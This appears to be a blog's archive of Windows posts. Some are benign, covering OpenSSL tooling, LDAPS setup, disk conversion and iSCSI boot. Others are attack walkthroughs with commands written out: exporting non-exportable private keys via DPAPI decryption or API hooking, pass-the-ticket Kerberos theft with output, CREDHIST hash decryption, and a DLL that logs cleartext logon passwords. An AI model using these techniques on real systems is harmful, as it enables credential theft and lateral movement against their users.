Mar 302023

In a previous article (here), we have seen how to export a certificate and its non exportable key using a rather complex method (decrypting DPAPI).

Here below how to do it the easy way (by hooking a rsaenh.dll api) :

cert –export –store=root –subject= »Root Authority » –force

-> you get a cert.pfx containing both the certificate and the private key.

Import and enjoy !

Mar 262023

You want to export a certificate but its private key is marked as non exportable.

Lets export it using the hard way (a future article with demonstrate an easier method).

1/ Identify the cert sha1 hash and save it from registry to a cer file
cert –enumcerts –store=root
->9EC82D0810FACD26CF5DE736C4F17228DDF49BBC is the cert sha1 hash

->d673096e4c9c08d6fc03c64c44117795_e65f292c-6dbf-47f8-b70f-c52e116acc05 is the cert unique name

cert –dumpcert –store=root –hash=9EC82D0810FACD26CF5DE736C4F17228DDF49BBC
->you get a blob.cer i.e your cert (without the private key)

Lets convert this binary cert (DER format) to a PEM format:

cert.exe –der2pem –filename=blob.cer

->you get a blob.crt

2/ Decode dpapi blob located in C:\Users\%username%\AppData\Roaming\Microsoft\Crypto\RSA\%SID%
nthash-win64 /decodeblob /binary:d673096e4c9c08d6fc03c64c44117795_e65f292c-6dbf-47f8-b70f-c52e116acc05

->this is your encrypted (with a masterkey) DPAPI blob

Note : you can skip this test as the blob will be decrypted in step 4.

3/ Decrypt masterkey’s located in C:\Users\%username%\AppData\Roaming\Microsoft\Protect\%SID%
nthash-win64 /decodemks /binary:c:\Users\erwan\AppData\Roaming\Microsoft\Protect\S-1-5-21-2427513087-2265021005-1965656450-1001 /password:your-sha1-hash-password /save

->masterkey’s will be saved to masterkeys.ini

4/ Decrypt dpapi blob with masterkey (from masterkeys.ini)
nthash-win64 /decodeblob /binary:d673096e4c9c08d6fc03c64c44117795_e65f292c-6dbf-47f8-b70f-c52e116acc05 /save

->you get a decoded.bin
This is your decrypted DPAPI blob i.e your decrypted rsa (private) key.

5/ Convert the decrypted rsa key to a PEM format

cert.exe –rsa2pem –filename=decoded.bin

->you get a decoded.pem

Note, we could have done it in 2 steps : rsa2pvk and then pvk2pem.

6/ Create a pfx with your certificate and private key

Optionally : you can check that your certificate and private key share the same modulus.

tinyssl –print_private –filename=decoded.pem

tinyssl –print_cert –filename=blob.crt

Finally, create your pfx certificate.

tinyssl –pemtop12 –privatekey=decoded.pem –cert=blob.crt

->you get a cert.pfx, ready to import.


Fév 252023

Still pursuing my journey around ldap, ssl and certificates : lets play with OpenSSL libraries.

Have a look at the code on github here.

Possible actions so far:

--genkey generate rsa keys public.pem and private.pem
--encrypt encrypt a file using public.pem
--decrypt decrypt a file using private.pem
--mkcert make a self sign root cert, read from privatekey (option) & write to ca.crt and ca.key
--mkreq make a certificate service request, read from request.key (if exist) & write to request.csr request.key
--signreq make a certificate from a csr, read from a csr filename and a cert file
--selfsign make a self sign cert, write to cert.crt cert.key
--p12topem convert a pfx to pem, write to cert.crt and cert.key
--pemtop12 convert a pem to pfx, read from cert.crt and cert.key

Example to create a root ca, a certificate signing request and a certificate (which you can use in latest chrome) :

rem if you want to reuse an existing key and therefore renew instead of recreate
tinySSL.exe --mkcert --debug=true --privatekey=ca.key --password=password --filename=ca.crt
rem recreate, not renew
rem tinySSL.exe --mkcert --debug=true --filename=ca.crt
rem renew, not recreate
tinySSL.exe --mkreq --debug=true --filename=request.csr --privatekey=request.key
rem recreate, not renew
rem tinySSL.exe --mkreq --debug=true --filename=request.csr
tinySSL.exe --signreq --debug=true --alt="DNS:*" --password=password --filename=request.csr --cert=ca.crt

Note : have a look at this article if you want to test your certificate in a http ssl server.

Jan 222023

You have a running ldap server but you want to be able to use ssl.

For this you need:

1-A root CA (certificate authority) installed on the domain controller/ldap server in the computer « root » store

2-A CSR (certificate service request) triggered by the domain controller/ldap server

3-A CSR signed by your root ca thus giving you a certificate to be installed on the domain controller/ldap server in the computer « my » store

4-The root CA installed in the client/user certificate store

Step 1

openssl genrsa -des3 -out ca.key 4096

openssl req -new -x509 -days 3650 -key ca.key -out ca.crt

launch mmc.exe, load the certificate snap-in, select « computer account », choose the « trusted root CA » and import your ca.crt.

Step 2

With notepad, create the below request.inf file (adapt the CN with your server CN).

;----------------- request.inf -----------------


Signature="$Windows NT$"


Subject = ",OU=IT,DC=dc1,DC=acme,DC=com,O=ACME,L=New York,S=New York,C=US"
KeySpec = 1
KeyLength = 1024
Exportable = TRUE
MachineKeySet = TRUE
SMIME = False
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0


OID= ; this is for Server Authentication

Generate your csr with certreq -new request.inf server.csr.

Step 3

Sign your csr :

openssl x509 -req -days 3650 -in request.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out server.crt

launch mmc.exe, load the certificate snap-in, select « computer account », choose the « MY » store and import your server.crt.

Reboot your DC : your ldap ssl server is now operational.

Edit :


It appears it is better to put the cert in the NT Directory Services (NTDS) store (choose the NTSD service rather than « computer account » in the MMC snap-in).

Indeed, most probably your computer account will have more than one cert in its trust store and NTDS will then pick randomly one of them.


Although I did have time to replicate the experiment, it may be that you have to select 2 roles (versus all) : serveur authentication and client authentication.

More here.

Step 4

On your user/client, launch mmc.exe, load the certificate snap-in, select « user account », choose the « trusted root CA » store and import your ca.crt to allow your user/client to validate the server cert.

Oct 312022

We will be discussing privilege escalation and/or lateral movement.

The theory.

You got yourself access to a host where other users (preferably local or domain admins) are logged on?

-List the kerberos ticket(s) with nthash-win64 /klist
-Export the tgs ticket with nthash-win64 /ask /input:service/fqdn
-Import (in another session, or another host) the (preferably tgs) ticket with nthash-win64 /binary:ticket.kirbi

Note 1 : an admin can touch on all tickets (pass on the luid parameter on)
Note 2 : if the host2/attacker is a domain joined computer, a tgt ticket may be enough (your host « should » handle the tgs when you request a service)
Note 3 : this is not about requesting/forging a ticket (see rubeus) but about stealing a ticket

Practical example.

On host1/victim, we can witness that the logged on user (user1) has access to a remote share.

dir \\WIN-BBC4BS466Q5.home.lab\temp
Le volume dans le lecteur \WIN-BBC4BS466Q5.home.lab\temp n’a pas de nom.
Le numéro de série du volume est 763C-BB7B

Répertoire de \WIN-BBC4BS466Q5.home.lab\temp

20/02/2022 21:21 .
20/02/2022 21:21 ..
27/07/2022 17:09 1 313 792 NTHASH-win64.exe
1 fichier(s) 1 313 792 octets
2 Rép(s) 971 288 576 octets libres

And indeed, there is a ticket which we may want to steal (cifs/WIN-BBC4BS466Q5.home.lab).

nthash-win64.exe /klist
NTHASH 1.8 x64 by

StartTime:31/10/2022 16:26:32
EndTime:01/11/2022 02:26:32
RenewTime:07/11/2022 16:26:32
Server Name:krbtgt/home.lab
Client Name:user1

StartTime:31/10/2022 16:26:41
EndTime:01/11/2022 02:26:32
RenewTime:07/11/2022 16:26:32
Server Name:cifs/WIN-BBC4BS466Q5.home.lab
Client Name:user1

Lets export this ticket to a file (which we will be importing later on).

nthash-win64.exe /ask /input:cifs/WIN-BBC4BS466Q5.home.lab
NTHASH 1.8 x64 by
Asking for: cifs/WIN-BBC4BS466Q5.home.lab
StartTime:31/10/2022 16:26:41
EndTime:01/11/2022 02:26:32
RenewUntil:07/11/2022 16:26:32
ServiceName: cifs/WIN-BBC4BS466Q5.home.lab
ClientName: user1
Flags: 40A50000
KeyType: 00000012
TicketEncType: 00000012

* KiRBi to file:40A50000-user1@cifs-WIN-BBC4BS466Q5.home.lab.kirbi

On host2/attacker, we witness that we do not have (yet) access to the target remote share.

dir \\WIN-BBC4BS466Q5.home.lab\temp
Le nom d’utilisateur ou le mot de passe est incorrect.

Lets import our ticket (exported in previous step).

NTHASH-win64.exe /ptt /binary:40A50000-user1@cifs-WIN-BBC4BS466Q5.home.lab.kirbi
NTHASH 1.8 x64 by
Ticket successfully submitted for current session

Lets confirm that our ticket now appears in our current (attacker) session.

NTHASH-win64.exe /klist
NTHASH 1.8 x64 by

StartTime:31/10/2022 16:26:41
EndTime:01/11/2022 02:26:32
RenewTime:07/11/2022 16:26:32
Server Name:cifs/WIN-BBC4BS466Q5.home.lab
Client Name:user1

Lets now finally confirm that we do have access to the remote share (although we are not impersonating the original « user1 » , nor do we know user1 password).

dir \WIN-BBC4BS466Q5.home.lab\temp
Le volume dans le lecteur \WIN-BBC4BS466Q5.home.lab\temp n’a pas de nom.
Le numéro de série du volume est 763C-BB7B

Répertoire de \WIN-BBC4BS466Q5.home.lab\temp

20/02/2022 21:21 .
20/02/2022 21:21 ..
27/07/2022 17:09 1 313 792 NTHASH-win64.exe
1 fichier(s) 1 313 792 octets
2 Rép(s) 971 296 768 octets libres

Oct 092022

You have settled a new disk as « dynamic disk » and now you want to go back to basic disk.

But the option is grayed out in the windows disk manager console.

Lets see how to revert to basic disk without losing data, with CloneDisk.

This procedure applies to a MBR disk but a similar procedure can be performed on GPT disk.

Warning here : if you work on a production disk/system, please do a backup/snapshot to eventually be able to roll back your changes.

First you want to check the partition table : indeed, you do need a partition table to perform this operation and if your disk is a « data » disk, i.e not a « system » disk, your dynamic disk most probably does not have a partition table to match your existing volumes.

See the below screenshots :

-we have 2 disks (0 & 1) : one basic (system) and one dynamic (data)

-we have 4 volumes (2 on each disk)

-second disk (disk 1) does not have a partition table reflecting its volumes (since it is a dynamic disk)

You need to use the « RETAIN » diskpart command to instruct your system to create a partition table for your volumes.

Note that most probably you would not need to perform this task if your disk is a « system » one (partition table will have been taken care of already by the system).

Now, lets have a look at the partition table again.

Much better 🙂

Now lets change the partition type for all partition (0x42 indicating a dynamic disk).

We will change our partitions (here number 4 and 2) to 0x7 aka IFS (for NTFS) and we will hide « dummy » partitions (a left over from the dynamic disk) to 0x17 aka Hidden IFS.

And we will do a offline/online to force the system to refresh its disk (we could/should actually also have performed this change offline and go online once done).

Now lets check our disk management console again and « tada » : our dynamic disk was reverted back to a basic disk 🙂

Sep 042022

A while ago, we have seen here how we could play with vhd differencing disks and starwind san free product.

However, the poor scripting capabilities of starwind san free associated with a strict licensing model renders this solution dodgy.

Today lets see how we achieve a better solution with powershell and windows iscsi target capabilities.

First lest have at the script below : all it does is create an iscsi target for the incoming requests if the target does not exist yet thus enabling one to boot many client devices from one unique parent/master.

Note : creating your master image (i.e a windows that can boot over the network using iscsi is not in scope here).

write-host "#!ipxe"
write-host "clear net0.dhcp/gateway:ipv4"
write-host "set gateway"
write-host "set initiator-iqn iqn.2006-11.1"
write-host "set keep-san 1"
#if pxesrv is running on the isci target, use ${next-server} instead of harcoded ip
write-host 'set target ${next-server}'
$TargetName = $args[0]
write-host "echo TargetName: "$TargetName
$vhdpath = "C:\_images\" + $args[0] + ".vhd"
write-host "echo vhdpath: "$vhdpath
$iqn =""+$TargetName
write-host "echo iqn: "$iqn
if (-not(Test-Path -Path $vhdpath -PathType Leaf)) {
$parent = "c:\_images\iscsi.vhd"
#$result=New-VHD -ParentPath $parent -Path $vhdpath -Differencing -Confirm:$false
$result=c:\temp\vmount.exe createchildvhd $vhdpath $parent
$result=Import-IscsiVirtualDisk -Path $vhdpath
$result=New-IscsiServerTarget -TargetName $TargetName -InitiatorIds "iqn:iqn.2006-11.1"
#option : Set-IscsiServerTarget -TargetName "child1" -InitiatorId "IQN:*"
$result=Set-IscsiServerTarget -TargetName $TargetName -TargetIqn $iqn
$result=Add-IscsiVirtualDiskTargetMapping -TargetName $TargetName -DevicePath $vhdpath
write-host "echo iscsi target configured, enjoy !"
write-host $('sanboot --keep iscsi:${target}:tcp:3260:0:' + $iqn)

Lets first run tiny pxe server (as admin since we will be calling some low level powershell scripts) and lets call our powershell script from a remote device like this : (replace the ip with whatever your iscsi target is).

You should get a result like this in your browser:

clear net0.dhcp/gateway:ipv4
set gateway
set initiator-iqn iqn.2006-11.1
set keep-san 1
set target ${next-server}
echo TargetName:  aa-bb-cc-dd-ee-ff
echo vhdpath:  C:\_images\aa-bb-cc-dd-ee-ff.vhd
echo iqn:
echo iscsi target configured, enjoy !
sanboot --keep iscsi:${target}

And your iscsi target should look like this :

You are now ready to boot your devices by setting your second stage bootloader in TPS like this : http://@opt54/iscsi.ps1?@mac .

Every pxe boot device will get a new image if it dos not exist yet or will boot from its image if it exists.

Jan 242021

Every time that you change the login password on your system, Windows stores the hashes of the previous password in the CREDHIST file (Located in %appdata%\Microsoft\Protect\CREDHIST ).

Lets play with the credhist file and NTHASH then.

-User test created with Password1
-I then logged in and changed password twice to Password2, then Password3.

I retrieved credhist file for that user, took it offline, then ran the below:
nthash-win64 /decodecredhist /binary:.\credhist-test.

The contains 2 entries (everytime I changed password,i.e twice).


Decryption is based on a hmac key generated from the sha1 password + the user SID.

Lets get the SHA1 of the current user password (the user SID is known in the credhist file).

NTHASH-win64.exe /widestringtohexa /input:Password3 | NTHASH-win64.exe /gethash /mode:SHA1
NTHASH 1.8 x64 by

Now lets decrypt last credhist entry i.e #1.

nthash-win64 /decodecredhist /binary:.\credhist-test /password:31F8F4DFCB16205363B35055EBE92A75F0A19CE3 /key:1

I get

This is sha1/ntlm for Password2.
Now lets decrypt previous (and first) entry i.e #0.

nthash-win64 /decodecredhist /binary:.\credhist-test /password:2277C28035275149D01A8DE530CC13B74F59EDFB /key:0


This is sha1/ntlm for Password1.


That’s it : we have seen the logic behing this credhist file and how to decrypt it.

Août 162020

In previous articles, we have seen that hashed passwords are as good as clear text passwords.

Thus, sometimes, it is nice to retrieve passwords at once in clear text.
Under windows, you can register a network provider which will be called every time a user logs on.
And the beauty of it is that it the credential manager will pass on the username and password in clear text.
Of course, you need to be a local admin to do so : we not talking escalation here but pivoting/lateral movement.

You need to implement 2 functions in your dll, nicely documented by Microsoft here and here.

Once done, you can do pretty much what you want with the data.

I am providing an example here (source code and binary) which will log to a text file the username/password.
setup.cmd will register the dll for you : no reboot needed – next logon will be logged.